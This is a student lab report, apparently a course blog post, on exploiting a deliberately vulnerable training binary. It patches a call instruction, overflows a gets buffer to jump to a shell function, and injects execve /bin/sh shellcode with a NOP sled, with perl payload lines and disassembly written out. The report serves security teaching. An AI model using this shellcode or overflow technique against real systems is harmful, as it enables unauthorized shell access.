20232312 2025-2026-1 《网络与系统攻防技术》实验一实验报告

20232312 2025-2026-1 《网络与系统攻防技术》实验一实验报告

1.实验内容

1.1通过学习、分析可执行文件pwn1(后改名为pwn20232312_1),学习了三种漏洞利用技术:

  • ​​直接修改程序机器指令​​:通过修改 call指令的跳转地址,强制程序执行原本不会运行的 getShell函数

  • 缓冲区溢出攻击(BOF)​​:通过构造超长输入覆盖返回地址,劫持程序执行流至 getShell

  • ​​Shellcode注入​​:向栈中注入自定义机器指令(如反弹Shell),并利用溢出跳转至该指令

1.2关键知识点:

  • ​​ELF文件结构

  • 机器码

汇编指令 机器码 (十六进制) 说明
NOP 90 无操作。最简单的形式是 XCHG EAX, EAX 的别名。
JNE 75 短跳转条件码。75 后跟一个 8 位位移。如果 ZF=0 (不等于/不为零) 则跳转。
JE 74 短跳转条件码。74 后跟一个 8 位位移。如果 ZF=1 (等于/为零) 则跳转。
JMP EB 短跳转EB 后跟一个 8 位位移。无条件跳转。
JMP E9 近跳转E9 后跟一个 32 位位移。用于更大范围的无条件跳转。
CMP 3D xx xx xx xx 比较 EAX 与一个 32 位立即数。3D 是操作码,后跟 4 字节的立即数。
CMP 83 7D xx yy 比较 [EBP+xx] (栈上变量) 与一个 8 位有符号立即数 yy83/7D 是操作码和 ModR/M 字节。
CMP 39 C3 比较 EAXEBX39 是操作码,C3 是 ModR/M 字节 (指定 EAXEBX)。
  • 栈帧布局

  • ​​返回地址覆盖

  • ​​EIP控制

  • Shellcode编写​

  • ​​NOP雪橇

  • ​​地址对齐​

2.实验过程

2.1 直接修改程序机器指令,改变程序执行流程

2.1.1下载目标文件pwn1,并做反汇编

image

  • 可以看到,call 8048491,将调用位于地址8048491处的foo函数,对比发现发现 call foo的机器指令为 e8 d7ffffff跳转偏移 -41)

2.1.2计算新偏移

  • getShell地址 0x0804847d,call下条指令地址 0x080484ba,偏移量 0x7d-0xba=0xffffffc3

2.1.3修改指令

894640528fcd92885d9eedc5242951d1

  • 将 d7改为 c3
    a4a02ccac597f20d7d6695c0fdd17acf

cb0d27255f3bb711a56fa589af6ab454

  • 验证修改后程序直接执行getshell
    4d94aa2f71b33244f536be203018dfe3

  • 在这里碰到一点小问题,经过查询最后得以解决,会在后面介绍

2.2构造输入参数,造成BOF攻击,改变程序执行流

2.2.1反汇编确认存储位置结构

image

0804847d <getShell>:
 804847d:	55                   	push   %ebp
 804847e:	89 e5                	mov    %esp,%ebp
 8048480:	83 ec 18             	sub    $0x18,%esp
 8048483:	c7 04 24 60 85 04 08 	movl   $0x8048560,(%esp)
 804848a:	e8 c1 fe ff ff       	call   8048350 <system@plt>
 804848f:	c9                   	leave  
 8048490:	c3                   	ret    

== 该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞  ==

08048491 <foo>:
 8048491:	55                   	push   %ebp
 8048492:	89 e5                	mov    %esp,%ebp
 8048494:	83 ec 38             	sub    $0x38,%esp
 8048497:	8d 45 e4             	lea    -0x1c(%ebp),%eax
 804849a:	89 04 24             	mov    %eax,(%esp)
 
 == 这里读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址 ==
 
 804849d:	e8 8e fe ff ff       	call   8048330 <gets@plt>
 80484a2:	8d 45 e4             	lea    -0x1c(%ebp),%eax
 80484a5:	89 04 24             	mov    %eax,(%esp)
 80484a8:	e8 93 fe ff ff       	call   8048340 <puts@plt>
 80484ad:	c9                   	leave  
 80484ae:	c3                   	ret    

080484af <main>:
 80484af:	55                   	push   %ebp
 80484b0:	89 e5                	mov    %esp,%ebp
 80484b2:	83 e4 f0             	and    $0xfffffff0,%esp
 80484b5:	e8 d7 ff ff ff       	call   8048491 <foo>
 
 ==上面的call调用foo,同时在堆栈上压上返回地址值:\x7d\x84\x04\x08== 
 
 80484ba:	b8 00 00 00 00       	mov    $0x0,%eax
 80484bf:	c9                   	leave  
 80484c0:	c3                   	ret    
 80484c1:	66 90                	xchg   %ax,%ax
 80484c3:	66 90                	xchg   %ax,%ax
 80484c5:	66 90                	xchg   %ax,%ax
 80484c7:	66 90                	xchg   %ax,%ax
 80484c9:	66 90                	xchg   %ax,%ax
 80484cb:	66 90                	xchg   %ax,%ax
 80484cd:	66 90                	xchg   %ax,%ax
 80484cf:	90                   	nop

080484d0 <__libc_csu_init>:

2.2.2确认字符串溢出字符个数

image

  • 如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell

2.2.3构造输入字符串

  • 由于没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

image

  • 可以看到输出如预期
    a85df0bbf1e1a43f9934c889849386b1

  • 然后将input的输入,通过管道符“|”,作为pwn20232312_1的输入,可以看到运行成功

2.3注入Shellcode并执行

2.3.1准备工作

  • 准备一段shellcode

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

  • 设置堆栈可执行
sudo apt install patchelf
  • 验证是否成功​​
patchelf --set-execstack pwn1 
  • 输出 RWE(Read-Write-Execute),说明栈可执行
    7451f99576ea92a16082ebc0fb5e4b85
  • 关闭地址随机化
    46743a7fbf8260bc06c660f461ae16d4

2.3.2开始攻击

  • 打开两个终端,一个终端注入下方这段攻击,另一个开始调试
(cat input_shellcode;cat) | ./pwn1

307882cf4cd15566f6cec8f519996f75

  • 能够从上面找到esp地址为0xffffd36c,注意这与实验指导文件不一样,需要自行计算,根据实验指导书,地址需要+4,即0xffffd370
  • 故构造并注入下方,攻击成功
perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

84badedc06159aea46cc23969fa79c7f

2.4结合nc模拟远程攻击

  • 用终端模拟主机。主机1,模拟一个有漏洞的网络服务;主机2,连接主机1并发送攻击载荷
    c02effdf907b41aa0b352461756a5b49

3.问题及解决方案

  • 问题1:execstack命令不可用
  • 问题1解决方案:通过查询得知,Kali Linux 2023+ 移除了 execstack,通过询问AI,改用patchelf,通过输入下方代替execstack使用。
patchelf --set-execstack ./pwn1
  • 问题2:在运行pwn1的时候碰到了报错zsh: permission denied: ./pwn1
  • 问题2解决方案:通过查询得知,是用户的权限不足(不小心将文件放在桌面上了),通过查询得到下方命令,添加执行权限,得以解决
chmod +x ./pwn1

4.学习感悟、思考等

  • 漏洞利用的本质​​是通过输入控制程序执行流,关键在于算好计算偏移量和地址。

  • ​​防御机制​​(如栈和堆​不可执行、地址随机化)大幅增加攻击难度,需结合信息泄漏(objdump)绕过。

  • ​​工具链的差异​​(如 execstack被弃用)要求灵活适应环境变化。

  • ​​实践价值​​:理解漏洞原理后,能更有效地编写安全代码(如避免 gets

参考资料

posted @ 2025-10-13 11:42  20232312李劲源  阅读(31)  评论(0)    收藏  举报